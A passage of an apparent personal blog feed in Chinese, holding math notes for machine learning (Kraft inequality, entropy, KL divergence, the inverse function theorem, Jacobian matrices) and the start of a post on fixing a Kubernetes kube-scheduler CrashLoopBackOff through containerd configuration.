 </p><p>设$ D $为二叉树，每个码字可表示为树的一条路径。  </p><ul><li>码长为 $ l_k $ 的码字在树的第 $ l_k $ 层，是一个叶子。  </li><li>每一层最多有 $ 2^{l_k} $ 个节点，叶子节点互不重叠。  </li><li>所有码字实际占用的叶子数之和</li></ul><p>$ \sum_{i=1}^n 2^{L-l_i} $</p><p>  其中 $ L $ 为所有码长的最大值。  </p><ul><li>总叶子数为 $ 2^L $  </li><li>所以有：$ \sum_{i=1}^n 2^{L-l_i} \leq 2^L \implies \sum_{i=1}^n 2^{-l_i} \leq 1 $</li></ul><p><em>补充：什么叫码字实际占用的叶子数之和？</em></p><p>_假设我们最大码长是 _$ L $_，再看一个码字长度是 _$ l $<em>。</em></p><ul><li><em>一个长度为 <em>$ l $</em> 的码字，从根到它走了 <em>$ l $</em> 步。</em></li><li>_如果继续从它往下走，走满长度 _$ L $<em>，还能走 <em>$ (L-l) $</em> 步。</em></li><li><em>每多一步可分岔两路，</em>$ (L-l) $_ 步一共可以分成 <em>$ 2^{L-l} $</em> 个不同的终点（叶子）。_</li><li><em>所以长度为 <em>$ l $</em> 的码字，等价于在最大深度 <em>$ L $</em> 处“占用”了 <em>$ 2^{L-l} $</em> 个叶子。</em></li></ul><p><strong>充分性（只要码长满足Kraft不等式，就能构造前缀码）：</strong>  </p><ul><li>将所有 $ l_i $ 从小到大排序。  </li><li>从编码树顶部出发，依次分配以 $ l_i $ 为长度的唯一路径（即叶子结点）；因Kraft不等式成立，子树不会重叠，必能分配完全部码字且不会出现有一个码字是其他码字前缀的情况。  </li><li>具体可采用“字典树”方式依次分配。</li></ul><hr><h3 id="3-信息熵（Shannon-Entropy）"><a href="#3-信息熵（Shannon-Entropy）" class="headerlink" title="3. 信息熵（Shannon Entropy）"></a>3. 信息熵（Shannon Entropy）</h3><p>对离散信源$ X $（概率分布为 $ {p_1, p_2, …, p_n} $）：  </p><ul><li>$ H(X) = -\sum_{i=1}^n p_i \log_2 p_i $</li><li>这个数是用拉个朗日乘数法得到的，可以参考下面 “最优编码定理”。</li><li>熵是<strong>最优平均编码长度的下界</strong>。</li></ul><hr><h3 id="4-最优编码定理"><a href="#4-最优编码定理" class="headerlink" title="4. 最优编码定理"></a>4. 最优编码定理</h3><p>这里摘要这个视频里面的证明：<a href="https://www.bilibili.com/video/BV1sV411k7qc/">https://www.bilibili.com/video/BV1sV411k7qc/</a><br>平均码长的最小值为熵或近似熵（$ \lceil l_i \rceil $ 情况下高于熵但不会超过1bit）：</p><ul><li>$ H(X) \leq L^* &lt; H(X) + 1 $</li></ul><p>假设我们要对一个文章中的字母用前缀码进行编码，那么如何让整个文章的编码最短的问题就转换为使得下图的中的E(L)变得最小。<br><img src="image2.png"><br>目标函数有了，优化的约束就是Kraft不等式（满足前缀码的充要条件）。<br><img src="image3.png"><br>这里选择用拉格朗日乘数法来求解，但是拉格朗日乘数法只适合解等式不能解不等式。所以先考虑等式的情况。<br><img src="image4.png"><br><img src="image5.png"></p><p>$l_i = - \log_2 p_i$，这里的$l_i$就是每个字母对应的码长了。因为码长不能是小数，所以要进行上取整。</p><p><img src="image.png"></p><ul><li>相关推导正是“在Kraft约束下极小化码长”——见“熵的最优性推导”小节。</li></ul><hr><h3 id="5-交叉熵与KL散度"><a href="#5-交叉熵与KL散度" class="headerlink" title="5. 交叉熵与KL散度"></a>5. 交叉熵与KL散度</h3><ul><li><strong>交叉熵</strong> $ H(P, Q) $：用$ Q $分布编码真实分布$ P $的信息平均长度：</li></ul><p>$ H(P, Q) = -\sum_x p(x) \log q(x) $</p><ul><li><strong>KL散度</strong>（相对熵）：</li></ul><p>$ D_{KL}(P | Q) = \sum_x p(x) \log \frac{p(x)}{q(x)} = H(P, Q) - H(P) $</p><ul><li>表示用$ Q $代替$ P $时的“额外码长”。</li></ul><hr><h2 id="二、各部分逻辑关系"><a href="#二、各部分逻辑关系" class="headerlink" title="二、各部分逻辑关系"></a>二、各部分逻辑关系</h2><ol><li><strong>Kraft不等式</strong> —— 判断前缀码能否存在及如何分配码长；  </li><li><strong>最优编码定理</strong> —— 满足Kraft不等式的最优平均编码长度的理论极限；  </li><li><strong>信息熵</strong> —— 度量信源不确定性，也限制度量最优编码效率；  </li><li><strong>交叉熵/相对熵 (KL散度)</strong> —— 两个概率分布编码效率的度量，机器学习损失函数常用。</li></ol><hr><h3 id="简要表格"><a href="#简要表格" class="headerlink" title="简要表格"></a>简要表格</h3><table><thead><tr><th>概念</th><th>数学表达</th><th>目的/意义</th></tr></thead><tbody><tr><td>Kraft不等式</td><td>$ \sum 2^{-l_i} \leq 1 $</td><td>判断能否分配码长形成前缀码</td></tr><tr><td>信息熵</td><td>$ H(X) = -\sum p_i \log_2 p_i $</td><td>不确定性度量、最优平均码长下界</td></tr><tr><td>最优编码定理</td><td>$ H(X) \leq L^* &lt; H(X)+1 $</td><td>连接实际编码与熵的极限</td></tr><tr><td>交叉熵</td><td>$ H(P, Q) = -\sum p(x)\log q(x) $</td><td>“用Q表示P”的平均信息长度</td></tr><tr><td>KL散度</td><td>$D_{KL}(P|Q)=\sum p(x)\log\frac{p(x)}{q(x)}$</td><td>Q相对P的“额外消耗”，度量分布差异</td></tr></tbody></table><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://www.bilibili.com/video/BV1sV411k7qc/">https://www.bilibili.com/video/BV1sV411k7qc/</a></p>]]></content>
    
    
    <summary type="html">Kraft Inequality, Information Entropy, KL Divergence</summary>
    
    
    
    
    <category term="ML" scheme="https://cl0und.xyz/tags/ML/"/>
    
    <category term="Information theory" scheme="https://cl0und.xyz/tags/Information-theory/"/>
    
  </entry>
  
  <entry>
    <title>ML的数学基石-逆函数定理（Inverse function theorem）</title>
    <link href="https://cl0und.xyz/2025/03/05/ML%E7%9A%84%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%9F%B3-%E5%8F%8D%E5%87%BD%E6%95%B0%E5%AE%9A%E7%90%86%EF%BC%88Inverse-function-theorem%EF%BC%89/"/>
    <id>https://cl0und.xyz/2025/03/05/ML%E7%9A%84%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%9F%B3-%E5%8F%8D%E5%87%BD%E6%95%B0%E5%AE%9A%E7%90%86%EF%BC%88Inverse-function-theorem%EF%BC%89/</id>
    <published>2025-03-04T16:08:01.000Z</published>
    <updated>2025-05-25T09:28:48.564Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h1><h3 id="单射，满射，双射"><a href="#单射，满射，双射" class="headerlink" title="单射，满射，双射"></a>单射，满射，双射</h3><ul><li><strong>单射</strong>：每个输入值有唯一的输出值，不会有两个不同的输入映射到同一个输出。</li><li><strong>满射</strong>：每个输出值都至少有一个输入值与之对应。</li><li><strong>双射</strong>：既是单射又是满射，即每个输入值有唯一的输出值，且每个输出值都有唯一的输入值。</li></ul><h3 id="雅可比矩阵-Jacobian-Matrix"><a href="#雅可比矩阵-Jacobian-Matrix" class="headerlink" title="雅可比矩阵 (Jacobian Matrix)"></a>雅可比矩阵 (Jacobian Matrix)</h3><p>雅可比矩阵是描述多元函数在某一点处的局部线性近似的矩阵形式，具体定义见前文。</p><hr><h1 id="预备知识-完备度量空间"><a href="#预备知识-完备度量空间" class="headerlink" title="预备知识 - 完备度量空间"></a>预备知识 - 完备度量空间</h1><h3 id="1-1-度量空间的基本定义"><a href="#1-1-度量空间的基本定义" class="headerlink" title="1.1 度量空间的基本定义"></a>1.1 度量空间的基本定义</h3><p>一个<strong>度量空间</strong>是一个集合 $S$ 配备了一个“度量函数” $d: S \times S \to \mathbb{R}$，它满足以下性质（即定义“距离”的规则）：</p><ol><li><strong>非负性</strong>：<br>$$<br>d(x, y) \geq 0, \quad \text{且当且仅当 } x = y, \ d(x, y) = 0;<br>$$</li><li><strong>对称性</strong>：<br>$$<br>d(x, y) = d(y, x);<br>$$</li><li><strong>三角不等式</strong>：对任意 $x, y, z \in S$，有<br>$$<br>d(x, z) \leq d(x, y) + d(y, z).<br>$$<br>度量 $d(x, y)$ 定义了集合 $S$ 中任意两点之间的距离，使 $S$ 成为一个度量空间。</li></ol><hr><h3 id="1-2-完备性：柯西序列的收敛性"><a href="#1-2-完备性：柯西序列的收敛性" class="headerlink" title="1.2 完备性：柯西序列的收敛性"></a>1.2 完备性：柯西序列的收敛性</h3><p>一个度量空间 $(S, d)$ 是<strong>完备的</strong>，当且仅当空间内的每个<strong>柯西序列</strong>都收敛于 $S$ 中的一个点。</p><h4 id="什么是柯西序列？"><a href="#什么是柯西序列？" class="headerlink" title="什么是柯西序列？"></a>什么是柯西序列？</h4><p>一个序列 ${x_n} \subseteq S$ 是一个<strong>柯西序列</strong>，如果它满足以下条件：</p><ul><li>对于任意的 $\varepsilon &gt; 0$，存在一个整数 $N &gt; 0$，使得当 $m, n \geq N$ 时，$$d(x_m, x_n) &lt; \varepsilon.$$</li></ul><p>简单来说，在柯西序列中，序列的元素在这个空间中变得越来越“接近彼此”。例如：</p><ul><li>如果序列越来越“集中”到一个点附近，就是柯西序列（无论这个点是否是空间内部的点）。</li><li>注意：柯西序列的定义不要求你事先知道收敛点，仅要求元素之间的距离无限趋近于零。</li></ul><h4 id="示例"><a href="#示例" class="headerlink" title="示例"></a>示例</h4><ul><li><strong>正例</strong>：序列 $x_n = 1 + \frac{1}{n}$ 是一个柯西序列。</li><li><strong>反例</strong>：对于非完备的空间（例如 $\mathbb{Q}$ 上），可能存在柯西序列无法收敛到 $\mathbb{Q}$ 内的一个点。例如，序列 $x_n = 1, 1.4, 1.414, 1.4142, \dots$ 收敛到 $\sqrt{2}$，但 $\sqrt{2} \notin \mathbb{Q}$。这说明 $\mathbb{Q}$ 不完备。</li></ul><hr><h3 id="1-3-完备性的意义"><a href="#1-3-完备性的意义" class="headerlink" title="1.3 完备性的意义"></a>1.3 完备性的意义</h3><ul><li>在一个<strong>完备度量空间</strong>中，任何柯西序列一定会收敛，并且其极限点一定在空间 $S$ 内。</li><li>如果一个空间不是完备的，则可能存在柯西序列，其极限点落在 $S$ 外部（即序列离开了原来的空间）。</li></ul><hr><h1 id="预备知识-Banach-不动点定理"><a href="#预备知识-Banach-不动点定理" class="headerlink" title="预备知识 - Banach 不动点定理"></a>预备知识 - Banach 不动点定理</h1><h3 id="定理陈述"><a href="#定理陈述" class="headerlink" title="定理陈述"></a>定理陈述</h3><p>设 $(X, d)$ 是一个完备度量空间，$T: X \to X$ 是一个<strong>压缩映射</strong>，即存在常数 $0 \leq k &lt; 1$，使得对于任意 $x, y \in X$，有：<br>$$<br>d(T(x), T(y)) \leq k \cdot d(x, y).<br>$$<br>那么，$T$ 在 $X$ 中存在唯一的不动点 $x^*$，即 $T(x^*)=x^*$。</p><hr><h3 id="符号解释"><a href="#符号解释" class="headerlink" title="符号解释"></a>符号解释</h3><ol><li>$X$：一个集合，表示度量空间中的元素。</li><li>$d$：度量函数，表示 $X$ 中两个元素之间的距离，满足非负性、对称性和三角不等式。</li><li><strong>完备度量空间</strong>：度量空间 $(X, d)$ 是完备的，如果其中的所有柯西序列都收敛于 $X$ 中的某个点。</li><li>$T$：映射（函数），将 $X$ 中的元素映射到 $X$ 中的另一个元素。</li><li><strong>压缩映射</strong>：映射 $T$ 是压缩的，如果存在常数 $0 \leq k &lt; 1$，使得 $T$ 将任意两点之间的距离缩小至少 $k$ 倍。</li><li><strong>不动点</strong>：点 $x^*$ 是 $T$ 的不动点，如果 $T(x^*) = x^*$。</li></ol><hr><h3 id="证明"><a href="#证明" class="headerlink" title="证明"></a>证明</h3><h4 id="1-构造序列："><a href="#1-构造序列：" class="headerlink" title="1. 构造序列："></a>1. 构造序列：</h4><p>从任意一点 $x_0 \in X$ 开始，构造序列 ${x_n}$，其中：<br>$$<br>x_{n+1} = T(x_n),<br>$$<br>即每次将当前点通过映射 $T$ 映射到下一个点。</p><h4 id="2-证明序列是柯西序列："><a href="#2-证明序列是柯西序列：" class="headerlink" title="2. 证明序列是柯西序列："></a>2. 证明序列是柯西序列：</h4><p>对于任意 $n, m \in \mathbb{N}$（假设 $n &gt; m$），有：<br>$$<br>d(x_n, x_m) \leq d(x_n, x_{n-1}) + d(x_{n-1}, x_{n-2}) + \dots + d(x_{m+1}, x_m).<br>$$<br>由于 $T$ 是压缩映射，有：<br>$$<br>d(x_{i+1}, x_i) = d(T(x_i), T(x_{i-1})) \leq k \cdot d(x_i, x_{i-1}).<br>$$<br>递推可得：<br>$$<br>d(x_{i+1}, x_i) \leq k^i \cdot d(x_1, x_0).<br>$$<br>由于 $0 \leq k &lt; 1$，最终 $d(x_n, x_m)$ 收敛到 0，故 ${x_n}$ 是柯西序列。</p><h4 id="3-完备性保证极限存在："><a href="#3-完备性保证极限存在：" class="headerlink" title="3. 完备性保证极限存在："></a>3. 完备性保证极限存在：</h4><p>因为 $X$ 是完备的，柯西序列 ${x_n}$ 收敛于某个点 $x^* \in X$。注意，定理条件中给出了 $T$ 是 $X$ 到 $X$ 的映射。</p><h4 id="4-证明-x-是不动点："><a href="#4-证明-x-是不动点：" class="headerlink" title="4. 证明 $x^*$ 是不动点："></a>4. 证明 $x^*$ 是不动点：</h4><p>由于 $T$ 是连续的（压缩映射是连续的），有：<br>$$<br>T(x^*) = T\left(\lim_{n \to \infty} x_n\right) = \lim_{n \to \infty} T(x_n) = \lim_{n \to \infty} x_{n+1} = x^*.<br>$$<br>因此，$x^*$ 是 $T$ 的不动点。</p><h4 id="5-唯一性："><a href="#5-唯一性：" class="headerlink" title="5. 唯一性："></a>5. 唯一性：</h4><p>假设存在另一个不动点 $y^*$，即 $T(y^*) = y^*$，则：<br>$$<br>d(x^*, y^*) = d(T(x^*), T(y^*)) \leq k \cdot d(x^*, y^*).<br>$$<br>由于 $0 \leq k &lt; 1$，只有当 $d(x^*, y^*) = 0$ 时成立，即 $x^* = y^*$。因此，不动点唯一。</p><hr><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li><strong>Banach 不动点定理</strong>表明，在完备度量空间中，压缩映射存在唯一的不动点。</li><li>证明的关键是通过构造序列并利用压缩映射的性质证明序列收敛，然后验证极限点是不动点。</li><li>该定理在数值分析、微分方程和优化等领域有广泛应用。</li></ul><hr><h1 id="逆函数定理的证明"><a href="#逆函数定理的证明" class="headerlink" title="逆函数定理的证明"></a>逆函数定理的证明</h1><h3 id="定理内容"><a href="#定理内容" class="headerlink" title="定理内容"></a>定理内容</h3><p>给定一个连续可微函数 $f: \mathbb{R}^n \to \mathbb{R}^n$，若在某一点 $x_0 \in \mathbb{R}^n$，该函数的雅可比矩阵 $J_f(x_0)$ 是满秩的（即 $\det(J_f(x_0)) \neq 0$，雅可比矩阵可逆），那么可以得出以下结论：</p><ol><li><strong>局部可逆性</strong>：<br>在点 $x_0$ 的某个小邻域内，$f$ 是双射（即每个点都有唯一的像，并且每个像值对应唯一的原点），即 $f$ 在该邻域内有逆函数 $f^{-1}$。</li><li><strong>逆函数的性质</strong>：<br>逆函数 $f^{-1}$ 也是连续可微的（$C^1$），并且其导数由雅可比矩阵的逆给出：<br>$$<br>J_{f^{-1}}(f(x)) = [J_f(x)]^{-1},<br>$$<br>对于 $x$ 在邻域内。</li></ol><p>总结来说，如果 $J_f(x_0)$ 是可逆的，则 $f$ 在 $x_0$ 的邻域内具有光滑的逆函数。</p><p>注：</p><ul><li><p>其实当时学到这里是有一个疑问，不知道为什么需要前面预备知识的铺垫。因为雅可比矩阵可逆，不就已经说明了是有逆函数的，还需要证明吗？</p></li><li><p>但雅可比矩阵是泰勒公式的一阶展开，“一阶可逆”只能保证在无穷小邻域接近可逆，但是逆函数定理说的局部，并不是指无穷小（infinitesimal）邻域；而是“存在某个非零半径的开邻域”，通常记为 $U$。在这个$U$里，$f$关于 $x0$ 是双射（即一一对应），并且逆函数还是光滑/连续可微的。</p></li><li><p>换句话说这里是在高阶项的扰动不会”压倒”线性项：在足够小但是非无穷小邻域接近可逆的范围内，线性项占主导。（线性部分 + 小扰动 = 整体可逆）</p></li></ul><hr><h3 id="直观思路"><a href="#直观思路" class="headerlink" title="直观思路"></a>直观思路</h3><p>逆函数 $f^{-1}$ 的基本定义是：给定 $y \in \mathbb{R}^n$，我们需要找到唯一的 $x \in \mathbb{R}^n$，使得 $f(x) = y$。<br>若 $f$ 在某点 $x_0$ 处是可逆的（即雅可比矩阵 $J_f(x_0)$ 可逆），可以通过近似线性化的方法（泰勒展开），证明每一个 $y$ 都有一个唯一解 $x$ 使 $f(x) = y$，而这个解可以通过压缩映射定理来找到。</p><hr><h3 id="详细证明"><a href="#详细证明" class="headerlink" title="详细证明"></a>详细证明</h3><h4 id="（1）定义辅助映射："><a href="#（1）定义辅助映射：" class="headerlink" title="（1）定义辅助映射："></a>（1）定义辅助映射：</h4><p>设 $y \in \mathbb{R}^n$ 是任意的目标值，并且我们希望找到 $x \in \mathbb{R}^n$，使得 $f(x) = y$。令：<br>$$<br>T(x) = x - J_f(x_0)^{-1} \cdot (f(x) - y),<br>$$<br>其中 $J_f(x_0)$ 是 $f$ 在点 $x_0$ 的雅可比矩阵。</p><p>需要证明：  </p><ol><li>映射 $T(x)$ 是一个压缩映射；  </li><li>压缩映射 $T(x)$ 的不动点 $x^*$ 满足 $f(x^*) = y$。</li></ol><hr><h4 id="（2）泰勒展开（局部线性化）："><a href="#（2）泰勒展开（局部线性化）：" class="headerlink" title="（2）泰勒展开（局部线性化）："></a>（2）泰勒展开（局部线性化）：</h4><p>由 $f(x)$ 在点 $x_0$ 的泰勒展开（在一阶导数处截断）：<br>$$<br>f(x) \approx f(x_0) + J_f(x_0) \cdot (x - x_0).<br>$$<br>令 $\Delta x = x - x_0$，有：<br>$$<br>f(x) \approx f(x_0) + J_f(x_0) \cdot \Delta x.<br>$$<br>设 $y = f(x)$，可以通过线性化近似得到：<br>$$<br>x \approx x_0 + J_f(x_0)^{-1} \cdot (y - f(x_0)).<br>$$<br>这表明，对于充分小的扰动 $y - f(x_0)$，可以从初始点 $x_0$ 通过迭代来逐步接近解。</p><p>注：已知$y$找到对应$x$，通过迭代来求解。这里核心是要正明迭代可以收敛，于是下面构造压缩映射。</p><hr><h4 id="（3）设计压缩映射："><a href="#（3）设计压缩映射：" class="headerlink" title="（3）设计压缩映射："></a>（3）设计压缩映射：</h4><p>选定 $x_0$ 邻域内的点 $x$ 和目标值 $y$，定义迭代映射：<br>$$<br>T(x) = x - J_f(x_0)^{-1} \cdot (f(x) - y).<br>$$<br>我们需要证明 $T(x)$ 是压缩映射。注意到：<br>$$<br>T(x) - T(z) = x - z - J_f(x_0)^{-1} \cdot (f(x) - f(z)).<br>$$<br>利用 $f(x)$ 的连续可微性，有：<br>$$<br>f(x) - f(z) = J_f( c ) \cdot (x - z),<br>$$<br>注：拉格朗日中值定理，$c$是拉格朗日中值。<br>其中 $J_f(c)$ 是某个点 $c \in \mathbb{R}^n$ 的雅可比矩阵。代入得到：<br>$$<br>T(x) - T(z) = (I - J_f(x_0)^{-1} \cdot J_f( c )) \cdot (x - z).<br>$$<br>若 $J_f(x_0)$ 足够接近于 $J_f( c )$（在 $x_0$ 的邻域内），矩阵 $I - J_f(x_0)^{-1} J_f( c )$ 的范数小于 1，因此 $T$ 是压缩映射。</p><hr><h4 id="（4）应用压缩映射定理："><a href="#（4）应用压缩映射定理：" class="headerlink" title="（4）应用压缩映射定理："></a>（4）应用压缩映射定理：</h4><p>根据压缩映射定理，$T(x)$ 有唯一的不动点 $x^*$。对于该不动点，有：<br>$$<br>T(x^*) = x^* \implies x^* - J_f(x_0)^{-1} \cdot (f(x^*) - y) = x^*,<br>$$<br>化简得到：<br>$$<br>f(x^*) = y.<br>$$<br>因此，$x^*$ 是方程 $f(x) = y$ 的唯一解。</p><hr><h4 id="（5）局部可逆性与光滑性："><a href="#（5）局部可逆性与光滑性：" class="headerlink" title="（5）局部可逆性与光滑性："></a>（5）局部可逆性与光滑性：</h4><p>上述过程说明 $f$ 在 $x_0$ 的某邻域是局部可逆的，并且 $f^{-1}$ 是由连续迭代构造的，因此它是光滑（$C^1$）的。</p>]]></content>
    
    
    <summary type="html">Inverse function theorem</summary>
    
    
    
    
    <category term="ML" scheme="https://cl0und.xyz/tags/ML/"/>
    
    <category term="Math" scheme="https://cl0und.xyz/tags/Math/"/>
    
  </entry>
  
  <entry>
    <title>ML的数学基石-雅可比矩阵（Jacobian Matrix)</title>
    <link href="https://cl0und.xyz/2025/03/04/ML%E7%9A%84%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%9F%B3-%E9%9B%85%E5%8F%AF%E6%AF%94%E7%9F%A9%E9%98%B5%EF%BC%88Jacobian-Matrix%EF%BC%89/"/>
    <id>https://cl0und.xyz/2025/03/04/ML%E7%9A%84%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%9F%B3-%E9%9B%85%E5%8F%AF%E6%AF%94%E7%9F%A9%E9%98%B5%EF%BC%88Jacobian-Matrix%EF%BC%89/</id>
    <published>2025-03-04T15:28:04.000Z</published>
    <updated>2025-05-25T09:28:44.866Z</updated>
    
    <content type="html"><![CDATA[<h1 id="定义与基本解释"><a href="#定义与基本解释" class="headerlink" title="定义与基本解释"></a>定义与基本解释</h1><p>雅可比矩阵是描述多元函数在某一点处的局部线性近似（即全导数）的矩阵形式。它是多变量微积分中非常重要的概念，用于研究函数的变化率、方向导数以及映射的局部特性。  </p><p>一般定义：<br>设 $ f: \mathbb{R}^n \to \mathbb{R}^m $ 是从 $ \mathbb{R}^n $ 映射到 $ \mathbb{R}^m $ 的一个函数：  </p><p>$ f(x_1, x_2, \dots, x_n) = \begin{bmatrix}<br>f_1(x_1, x_2, \dots, x_n) \\<br>f_2(x_1, x_2, \dots, x_n)\\\<br>\vdots \\<br>f_m(x_1, x_2, \dots, x_n)  \\<br>\end{bmatrix}, $</p><p>其中 $ f_1, f_2, \dots, f_m $ 是 $ f $ 的分量函数。  </p><p>在点 $ X = (x_1, x_2, \dots, x_n) $ 处，函数 $ f $ 的雅可比矩阵  $ J_f(X) $ 是一个 $ m \times n $的矩阵，定义为：  </p><p>$ J_f(X) =<br>\begin{bmatrix}<br>\frac{\partial f_1}{\partial x_1} &amp; \frac{\partial f_1}{\partial x_2} &amp; \cdots &amp; \frac{\partial f_1}{\partial x_n} \\<br>\frac{\partial f_2}{\partial x_1} &amp; \frac{\partial f_2}{\partial x_2} &amp; \cdots &amp; \frac{\partial f_2}{\partial x_n} \\<br>\vdots &amp; \vdots &amp; \ddots &amp; \vdots \\<br>\frac{\partial f_m}{\partial x_1} &amp; \frac{\partial f_m}{\partial x_2} &amp; \cdots &amp; \frac{\partial f_m}{\partial x_n}  \\<br>\end{bmatrix}. $</p><p>相当于 $ J_f(X) $ 的第 $ (i,j) $ 项是函数 $ f_i $ 对变量 $ x_j $ 的偏导数：  </p><p>$ [J_f(X)]_{i,j} = \frac{\partial f_i}{\partial x_j}. $</p><hr><h1 id="特殊情况"><a href="#特殊情况" class="headerlink" title="特殊情况"></a>特殊情况</h1><ul><li>如果 $ f $ 是标量函数（即 $ m = 1 $ ），那么雅可比矩阵是一个  $ 1 \times n $ 的行向量，称为函数 $ f $的 梯度向量 。  </li><li>如果 $ f $ 是从 $ \mathbb{R}^n \to \mathbb{R}^n $ 的向量函数（即 $ n = m $ ），则雅可比矩阵是一个方阵，常被用于研究  $ f $在点处的可逆性等性质。</li></ul><hr><h1 id="几何意义"><a href="#几何意义" class="headerlink" title="几何意义"></a>几何意义</h1><ol><li><strong>局部变化率与线性近似</strong>：雅可比矩阵定义了 $ f $ 在某一点的<strong>线性近似</strong> 。从泰勒展开的角度来看，如果 $ \Delta $ 是自变量的小增量，那么：   $ f(X + \Delta X) \approx f(X) + J_f(X) \cdot \Delta X. $  其中 $ J_f(X) \cdot \Delta   $ 表示由雅可比矩阵定义的线性部分。 </li><li><strong>方向导数</strong>：如果方向单位向量为 $ v \in \mathbb{R} $，那么 $ J_f(X) $ 是函数$ f $沿着方向 $ v $的变化率。 </li><li><strong>几何映射的局部行为</strong>：雅可比矩阵描述了映射 $f$ 在一点处的<strong>局部伸缩、旋转或反射</strong> 的性质： <ol><li>如果 $ n = $ 且雅可比行列式（即 $ \det(J_f(X) $）不为 0，则 $ f $ 在这一点处是局部的双射。 </li><li>如果雅可比行列式为 0，则 $ f $ 在这一点可能是奇异的（不可逆）。</li></ol></li></ol><hr><h1 id="计算实例"><a href="#计算实例" class="headerlink" title="计算实例"></a>计算实例</h1><h2 id="示例-1：标量情况"><a href="#示例-1：标量情况" class="headerlink" title="示例 1：标量情况"></a>示例 1：标量情况</h2><p>函数 $ f(x,y) = x^2 + y^2 $，其雅可比矩阵是：  </p><p>$ J_f(x,y) = \begin{bmatrix}<br>\frac{\partial f}{\partial x} &amp; \frac{\partial f}{\partial y}<br>\end{bmatrix}<br>= \begin{bmatrix}<br>2x &amp; 2y<br>\end{bmatrix}. $</p><h2 id="示例-2：向量情况"><a href="#示例-2：向量情况" class="headerlink" title="示例 2：向量情况"></a>示例 2：向量情况</h2><p>定义 $ f(x,y,z) = \begin{bmatrix} x^2y \\ yz \\ e^x+z \end{bmatrix} $，则雅可比矩阵为：  </p><p>$ J_f(x,y,z) =<br>\begin{bmatrix}<br>\frac{\partial f_1}{\partial x} &amp; \frac{\partial f_1}{\partial y} &amp; \frac{\partial f_1}{\partial z} \\<br>\frac{\partial f_2}{\partial x} &amp; \frac{\partial f_2}{\partial y} &amp; \frac{\partial f_2}{\partial z} \\<br>\frac{\partial f_3}{\partial x} &amp; \frac{\partial f_3}{\partial y} &amp; \frac{\partial f_3}{\partial z}<br>\end{bmatrix}  =  \begin{bmatrix}<br>2xy &amp; x^2 &amp; 0 \\<br>0 &amp; z &amp; y \\<br>e^x &amp; 0 &amp; 1  \\<br>\end{bmatrix}. $</p>]]></content>
    
    
    <summary type="html">Jacobian Matrix</summary>
    
    
    
    
    <category term="ML" scheme="https://cl0und.xyz/tags/ML/"/>
    
    <category term="Math" scheme="https://cl0und.xyz/tags/Math/"/>
    
  </entry>
  
  <entry>
    <title>Fix CrashLoopBackOff when using kubeadm to init cluster</title>
    <link href="https://cl0und.xyz/2025/01/12/Fix-CrashLoopBackOff-when-using-kubeadm-to-init-cluster/"/>
    <id>https://cl0und.xyz/2025/01/12/Fix-CrashLoopBackOff-when-using-kubeadm-to-init-cluster/</id>
    <published>2025-01-12T09:13:53.000Z</published>
    <updated>2025-01-12T09:19:17.736Z</updated>
    
    <content type="html"><![CDATA[<!-- more --><h2 id="问题的解决"><a href="#问题的解决" class="headerlink" title="问题的解决"></a>问题的解决</h2><p>这个问题，问AI一直没有解决，简中互联也没搜到。最后再gitlab issue里面找到答案。因此快速记一下修复原理。</p><p>解决问题的issue在</p><p><a href="https://github.com/kubernetes/kubeadm/issues/2833">https://github.com/kubernetes/kubeadm/issues/2833</a></p><p><a href="https://github.com/etcd-io/etcd/issues/13670">https://github.com/etcd-io/etcd/issues/13670</a></p><p>问题的特征是用kubeadm init启动，像issue里面会遇到CrashLoopBackOff</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">root@student-VMware-Virtual-Platform:/home/student/Desktop# kubectl get pods -n kube-system</span><br><span class="line">NAME                                                      READY   STATUS             RESTARTS        AGE</span><br><span class="line">coredns-668d6bf9bc-mc5mn                                  0/1     Pending            0               119s</span><br><span class="line">coredns-668d6bf9bc-sd84z                                  0/1     Pending            0               119s</span><br><span class="line">etcd-student-vmware-virtual-platform                      1/1     Running            2 (2m53s ago)   2m57s</span><br><span class="line">kube-apiserver-student-vmware-virtual-platform            1/1     Running            2 (2m23s ago)   2m57s</span><br><span class="line">kube-controller-manager-student-vmware-virtual-platform   1/1     Running            4 (2m53s ago)   2m57s</span><br><span class="line">kube-proxy-7k6hq                                          1/1     Running            2 (41s ago)     2m</span><br><span class="line">kube-scheduler-student-vmware-virtual-platform            0/1     CrashLoopBackOff   4 (22s ago)     2m57s</span><br><span class="line">root@student-VMware-Virtual-Platform:/home/student/Desktop# </span><br></pre></td></tr></table></figure><p>然后慢慢的整个集群在挂掉，使用不了kubectl。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">root@student-VMware-Virtual-Platform:/home/student/Desktop/lk8s# kubectl get pods -n kube-system  </span><br><span class="line">The connection to the server 192.168.220.128:6443 was refused - did you specify the right host or port?</span><br></pre></td></tr></table></figure><p>看apiserver的容器日志发现它就是收到了信号被关了，也没有error错误。</p><p>解决方法是在/etc/containerd/config.toml</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/etc/containerd/</span><br><span class="line">vim /etc/containerd/config.toml</span><br></pre></td></tr></table></figure><p>添加配置</p><figure class="highlight toml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version</span> = <span class="number">2</span></span><br><span class="line"><span class="section">[plugins]</span></span><br><span class="line">  <span class="section">[plugins.&quot;io.containerd.grpc.v1.cri&quot;]</span></span><br><span class="line">   <span class="section">[plugins.&quot;io.containerd.grpc.v1.cri&quot;.containerd]</span></span><br><span class="line">      <span 